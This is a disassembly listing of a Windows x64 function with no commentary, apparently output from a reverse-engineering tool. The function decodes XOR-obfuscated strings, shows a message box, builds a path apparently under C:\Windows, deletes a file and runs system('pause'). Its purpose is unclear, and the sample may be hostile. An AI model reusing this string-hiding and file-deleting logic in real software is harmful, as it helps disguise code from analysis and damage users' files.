mov al, byte [rsp + 0x9e]
mov byte [rsp + 0x8f], al
mov al, byte [rsp + 0x9f]
mov byte [rsp + 0x90], al
mov al, byte [rsp + 0xa0]
mov byte [rsp + 0x91], al
mov al, byte [rsp + 0xa1]
mov byte [rsp + 0x92], al
mov r9b, byte [rsp + 0xa2]
mov byte [rsp + 0x93], r9b
xor eax, eax
mov byte [rsp + 0x94], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0x88], al
add edx, edi
cmp edx, 0xc
jb 0x140007d96
mov byte [rsp + 0x94], bl
xor edx, edx
mov cl, 0x50
call fcn.140001974
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], r13b
mov edx, 2
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x32], al
mov byte [rsp + 0x33], r8b
mov byte [rsp + 0x34], r15b
mov edx, 5
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x35], al
mov edx, 6
mov cl, 0x4f
call fcn.140001974
mov byte [rsp + 0x36], al
mov edx, 7
mov cl, 0x4b
call fcn.140001974
mov byte [rsp + 0x37], al
mov edx, 8
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x38], al
mov edx, 9
mov cl, 0x77
call fcn.140001974
mov byte [rsp + 0x39], al
mov edx, 0xa
mov cl, 0x68
call fcn.140001974
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], r9b
mov edx, ntohs
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x3c], al
mov edx, ntohs
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x3d], al
mov edx, select
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x3e], al
mov edx, esi
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x3f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x75
call fcn.140001974
mov byte [rsp + 0x40], al
mov edx, select
mov cl, 0x27
call fcn.140001974
mov byte [rsp + 0x41], al
mov r15b, byte [rsp + 0x84]
mov byte [rsp + 0x42], r15b
mov edx, reloc.WS2_32.dll_send
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x43], al
mov edx, socket
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x45], al
mov edx, reloc.WS2_32.dll_shutdown
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x46], al
mov al, byte [rsp + 0xa3]
mov byte [rsp + 0x47], al
mov edx, 0x18
mov cl, 0x66
call fcn.140001974
mov byte [rsp + 0x48], al
mov r13b, byte [rsp + 0x85]
mov byte [rsp + 0x49], r13b
mov edx, 0x1a
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0x4a], al
mov edx, 0x1b
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x4b], al
mov edx, 0x1c
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x4c], al
mov edx, 0x1d
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x4d], al
mov al, byte [rsp + 0x60]
mov byte [rsp + 0x4e], al
mov edx, 0x1f
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x4f], al
mov edx, 0x20
mov cl, dl
call fcn.140001974
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x61]
mov byte [rsp + 0x51], al
mov edx, 0x22
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x52], al
mov edx, 0x23
mov cl, 0x62
call fcn.140001974
mov byte [rsp + 0x53], al
mov edx, 0x24
call fcn.140001974
mov byte [rsp + 0x54], al
mov edx, 0x25
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x55], al
mov edx, 0x26
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0x56], al
xor eax, eax
mov byte [rsp + 0x57], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0x30], al
add edx, edi
cmp edx, 0x27
jb 0x140007fda
mov byte [rsp + 0x57], bl
mov r9d, 0x30
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x43
xor edx, edx
call fcn.1400012c0
mov word [rsp + 0xb0], ax
mov ecx, 0x3a
mov edx, edi
call fcn.1400012c0
mov word [rsp + 0xb2], ax
mov ecx, 0x5c
lea edx, [rcx - 0x5a]
call fcn.1400012c0
mov word [rsp + 0xb4], ax
mov ecx, 0x57
lea edx, [rcx - 0x54]
call fcn.1400012c0
mov word [rsp + 0xb6], ax
mov ecx, 0x69
lea edx, [rcx - 0x65]
call fcn.1400012c0
mov word [rsp + 0xb8], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x69]
call fcn.1400012c0
mov word [rsp + 0xba], ax
mov ecx, 0x64
lea edx, [rcx - 0x5e]
call fcn.1400012c0
mov word [rsp + 0xbc], ax
mov ecx, reloc.WS2_32.dll_WSAGetLastError
lea edx, [rcx - 0x68]
call fcn.1400012c0
mov word [rsp + 0xbe], ax
mov ecx, 0x77
lea edx, [rcx - 0x6f]
call fcn.1400012c0
mov word [rsp + 0xc0], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6a]
call fcn.1400012c0
mov word [rsp + 0xc2], ax
mov ecx, 0x5c
lea edx, [rcx - 0x52]
call fcn.1400012c0
mov word [rsp + 0xc4], ax
mov ecx, 0x46
lea edx, [rcx - 0x3b]
call fcn.1400012c0
mov word [rsp + 0xc6], ax
mov ecx, reloc.WS2_32.dll_WSAGetLastError
lea edx, [rcx - 0x63]
call fcn.1400012c0
mov word [rsp + 0xc8], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x61]
call fcn.1400012c0
mov word [rsp + 0xca], ax
mov ecx, reloc.WS2_32.dll_WSACleanup
lea edx, [rcx - 0x66]
call fcn.1400012c0
mov word [rsp + 0xcc], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
mov edx, esi
call fcn.1400012c0
mov word [rsp + 0xce], ax
mov ecx, 0x5c
lea edx, [rcx - 0x4c]
call fcn.1400012c0
mov word [rsp + 0xd0], ax
mov ecx, 0x63
lea edx, [rcx - 0x52]
call fcn.1400012c0
mov word [rsp + 0xd2], ax
mov ecx, WSACleanup
lea edx, [rcx - 0x60]
call fcn.1400012c0
mov word [rsp + 0xd4], ax
mov ecx, 0x79
lea edx, [rcx - 0x66]
call fcn.1400012c0
mov word [rsp + 0xd6], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x5f]
call fcn.1400012c0
mov word [rsp + 0xd8], ax
mov ecx, reloc.WS2_32.dll_WSACleanup
lea edx, [rcx - 0x5f]
call fcn.1400012c0
mov word [rsp + 0xda], ax
mov ecx, 0x61
lea edx, [rcx - 0x4b]
call fcn.1400012c0
mov word [rsp + 0xdc], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x55]
call fcn.1400012c0
mov word [rsp + 0xde], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x56]
call fcn.1400012c0
mov word [rsp + 0xe0], ax
mov ecx, reloc.WS2_32.dll_WSAGetLastError
lea edx, [rcx - 0x56]
call fcn.1400012c0
mov word [rsp + 0xe2], ax
mov ecx, reloc.WS2_32.dll_WSACleanup
lea edx, [rcx - 0x5a]
call fcn.1400012c0
mov word [rsp + 0xe4], ax
mov ecx, 0x75
lea edx, [rcx - 0x5a]
call fcn.1400012c0
mov word [rsp + 0xe6], ax
mov ecx, 0x64
lea edx, [rcx - 0x48]
call fcn.1400012c0
mov word [rsp + 0xe8], ax
mov ecx, 0x61
lea edx, [rcx - 0x44]
call fcn.1400012c0
mov word [rsp + 0xea], ax
mov ecx, reloc.WS2_32.dll_WSACleanup
lea edx, [rcx - 0x56]
call fcn.1400012c0
mov word [rsp + 0xec], ax
mov ecx, 0x61
lea edx, [rcx - 0x42]
call fcn.1400012c0
mov word [rsp + 0xee], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x4c]
call fcn.1400012c0
mov word [rsp + 0xf0], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x4b]
call fcn.1400012c0
mov word [rsp + 0xf2], ax
mov ecx, 0x2e
lea edx, [rcx - 0xc]
call fcn.1400012c0
mov word [rsp + 0xf4], ax
mov ecx, 0x64
lea edx, [rcx - 0x41]
call fcn.1400012c0
mov word [rsp + 0xf6], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x48]
call fcn.1400012c0
mov word [rsp + 0xf8], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x47]
call fcn.1400012c0
mov word [rsp + 0xfa], ax
xor ecx, ecx
lea edx, [rcx + 0x26]
call fcn.1400012c0
mov word [rsp + 0xfc], ax
mov edx, 0x27
movzx ecx, word [0x14006540e]
call fcn.1400012c0
mov word [rsp + 0xfe], ax
mov edx, 0x28
movzx ecx, word [str.pause]
call fcn.1400012c0
mov word [rsp + 0x100], ax
mov edx, 0x29
movzx ecx, word [0x140065412]
call fcn.1400012c0
mov word [rsp + 0x102], ax
mov edx, 0x2a
movzx ecx, word [0x140065414]
call fcn.1400012c0
mov word [rsp + 0x104], ax
mov edx, 0x2b
movzx ecx, word [0x140065416]
call fcn.1400012c0
mov word [rsp + 0x106], ax
mov edx, 0x2c
movzx ecx, word [str.Authentication_failed:]
call fcn.1400012c0
mov word [rsp + 0x108], ax
mov edx, 0x2d
movzx ecx, word [0x14006541a]
call fcn.1400012c0
mov word [rsp + 0x10a], ax
mov edx, 0x2e
movzx ecx, word [0x14006541c]
call fcn.1400012c0
mov word [rsp + 0x10c], ax
mov edx, 0x2f
movzx ecx, word [0x14006541e]
call fcn.1400012c0
mov word [rsp + 0x10e], ax
mov edx, 0x30
movzx ecx, word [0x140065420]
call fcn.1400012c0
mov word [rsp + 0x110], ax
mov edx, 0x31
movzx ecx, word [0x140065422]
call fcn.1400012c0
mov word [rsp + 0x112], ax
mov edx, 0x32
movzx ecx, word [0x140065424]
call fcn.1400012c0
mov word [rsp + 0x114], ax
mov edx, 0x33
movzx ecx, word [0x140065426]
call fcn.1400012c0
mov word [rsp + 0x116], ax
mov edx, 0x34
movzx ecx, word [0x140065428]
call fcn.1400012c0
mov word [rsp + 0x118], ax
mov edx, 0x35
movzx ecx, word [0x14006542a]
call fcn.1400012c0
mov word [rsp + 0x11a], ax
mov edx, 0x36
movzx ecx, word [0x14006542c]
call fcn.1400012c0
mov word [rsp + 0x11c], ax
mov edx, 0x37
movzx ecx, word [0x14006542e]
call fcn.1400012c0
mov word [rsp + 0x11e], ax
mov edx, 0x38
movzx ecx, word [str.2._Auth_failed_]
call fcn.1400012c0
mov word [rsp + 0x120], ax
mov edx, 0x39
movzx ecx, word [0x140065432]
call fcn.1400012c0
mov word [rsp + 0x122], ax
mov edx, 0x3a
movzx ecx, word [0x140065434]
call fcn.1400012c0
mov word [rsp + 0x124], ax
mov edx, 0x3b
movzx ecx, word [0x140065436]
call fcn.1400012c0
mov word [rsp + 0x126], ax
mov edx, 0x3c
movzx ecx, word [0x140065438]
call fcn.1400012c0
mov word [rsp + 0x128], ax
mov edx, 0x3d
movzx ecx, word [0x14006543a]
call fcn.1400012c0
mov word [rsp + 0x12a], ax
mov edx, 0x3e
movzx ecx, word [0x14006543c]
call fcn.1400012c0
mov word [rsp + 0x12c], ax
mov edx, 0x3f
movzx ecx, word [0x14006543e]
call fcn.1400012c0
mov word [rsp + 0x12e], ax
mov edx, 0x40
movzx ecx, word [str.invalid_string_position]
call fcn.1400012c0
mov word [rsp + 0x130], ax
mov edx, 0x41
movzx ecx, word [0x140065442]
call fcn.1400012c0
mov word [rsp + 0x132], ax
mov edx, 0x42
movzx ecx, word [0x140065444]
call fcn.1400012c0
mov word [rsp + 0x134], ax
mov edx, 0x43
movzx ecx, word [0x140065446]
call fcn.1400012c0
mov word [rsp + 0x136], ax
mov edx, 0x44
movzx ecx, word [0x140065448]
call fcn.1400012c0
mov word [rsp + 0x138], ax
mov edx, 0x45
movzx ecx, word [0x14006544a]
call fcn.1400012c0
mov word [rsp + 0x13a], ax
mov edx, 0x46
movzx ecx, word [0x14006544c]
call fcn.1400012c0
mov word [rsp + 0x13c], ax
mov edx, 0x47
movzx ecx, word [0x14006544e]
call fcn.1400012c0
mov word [rsp + 0x13e], ax
mov edx, 0x48
movzx ecx, word [0x140065450]
call fcn.1400012c0
mov word [rsp + 0x140], ax
mov edx, 0x49
movzx ecx, word [0x140065452]
call fcn.1400012c0
mov word [rsp + 0x142], ax
mov edx, 0x4a
movzx ecx, word [0x140065454]
call fcn.1400012c0
mov word [rsp + 0x144], ax
mov edx, 0x4b
movzx ecx, word [0x140065456]
call fcn.1400012c0
mov word [rsp + 0x146], ax
mov edx, 0x4c
movzx ecx, word [reloc.WS2_32.dll_getsockname]
call fcn.1400012c0
mov word [rsp + 0x148], ax
xor eax, eax
mov word [rsp + 0x14a], ax
mov r8d, ebx
movsxd rdx, r8d
mov eax, 0x133
add eax, r8d
xor word [rsp + rdx*2 + 0xb0], ax
add r8d, edi
cmp r8d, 0x4d
jb 0x1400086fa
mov word [rsp + 0x14a], bx
xor edx, edx
mov cl, 0x55
call fcn.140001974
mov byte [rsp + 0x88], al
mov edx, edi
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x89], al
mov edx, 2
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0x8a], al
mov edx, 3
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x8b], al
mov edx, 4
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x8c], al
mov edx, 5
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x8d], al
mov edx, 6
mov cl, 0x57
call fcn.140001974
mov byte [rsp + 0x8e], al
mov edx, 7
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x8f], al
mov edx, 8
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x90], al
mov al, byte [rsp + 0x63]
mov byte [rsp + 0x91], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x92], al
mov edx, ntohs
mov cl, 0x77
call fcn.140001974
mov byte [rsp + 0x93], al
xor eax, eax
mov byte [rsp + 0x94], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0x88], al
add edx, edi
cmp edx, 0xc
jb 0x1400087ff
mov byte [rsp + 0x94], bl
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x88]
call fcn.140003cc8
mov byte [rsp + 0x30], r12b
mov al, byte [rsp + 0x64]
mov byte [rsp + 0x31], al
mov al, byte [rsp + 0x65]
mov byte [rsp + 0x32], al
mov al, byte [rsp + 0x66]
mov byte [rsp + 0x33], al
mov al, byte [rsp + 0x67]
mov byte [rsp + 0x34], al
mov al, byte [rsp + 0x68]
mov byte [rsp + 0x35], al
mov al, byte [rsp + 0x69]
mov byte [rsp + 0x36], al
mov al, byte [rsp + 0x6a]
mov byte [rsp + 0x37], al
mov al, byte [rsp + 0x6b]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x6c]
mov byte [rsp + 0x39], al
mov al, byte [rsp + 0x6d]
mov byte [rsp + 0x3a], al
mov al, byte [rsp + 0x6e]
mov byte [rsp + 0x3b], al
mov al, byte [rsp + 0x6f]
mov byte [rsp + 0x3c], al
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x3d], al
mov al, byte [rsp + 0x71]
mov byte [rsp + 0x3e], al
mov al, byte [rsp + 0x72]
mov byte [rsp + 0x3f], al
mov al, byte [rsp + 0x73]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x74]
mov byte [rsp + 0x41], al
mov byte [rsp + 0x42], r15b
mov al, byte [rsp + 0x75]
mov byte [rsp + 0x43], al
mov al, byte [rsp + 0x76]
mov byte [rsp + 0x44], al
mov al, byte [rsp + 0x77]
mov byte [rsp + 0x45], al
mov al, byte [rsp + 0x78]
mov byte [rsp + 0x46], al
mov al, byte [rsp + 0x79]
mov byte [rsp + 0x47], al
mov al, byte [rsp + 0x7a]
mov byte [rsp + 0x48], al
mov byte [rsp + 0x49], r13b
mov al, byte [rsp + 0x7b]
mov byte [rsp + 0x4a], al
mov al, byte [rsp + 0x7c]
mov byte [rsp + 0x4b], al
mov al, byte [rsp + 0x7d]
mov byte [rsp + 0x4c], al
mov al, byte [rsp + 0x7e]
mov byte [rsp + 0x4d], al
mov al, byte [rsp + 0x60]
mov byte [rsp + 0x4e], al
mov al, byte [rsp + 0x7f]
mov byte [rsp + 0x4f], al
mov al, byte [rsp + 0x80]
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x61]
mov byte [rsp + 0x51], al
mov al, byte [rsp + 0x81]
mov byte [rsp + 0x52], al
mov al, byte [rsp + 0x82]
mov byte [rsp + 0x53], al
mov al, byte [rsp + 0x83]
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x62]
mov byte [rsp + 0x55], al
xor eax, eax
mov byte [rsp + 0x56], al
mov r8d, ebx
movsxd rcx, r8d
lea eax, [r8 + 0x13]
xor byte [rsp + rcx + 0x30], al
add r8d, edi
cmp r8d, 0x26
jb 0x14000896b
mov byte [rsp + 0x56], bl
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [0x14000911c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x170]
cmp rdx, rsi
jbe 0x1400089ee
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, r14
jb 0x1400089e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a8a
call fcn.140057a1c
mov qword [rsp + 0x168], rbx
mov qword [rsp + 0x170], rsi
mov byte [rsp + 0x158], bl
mov rdx, qword [rsp + 0x190]
cmp rdx, rsi
jbe 0x140008a43
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, r14
jb 0x140008a3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ae4
call fcn.140057a1c
xor eax, eax
jmp 0x140008af5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.140057660
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret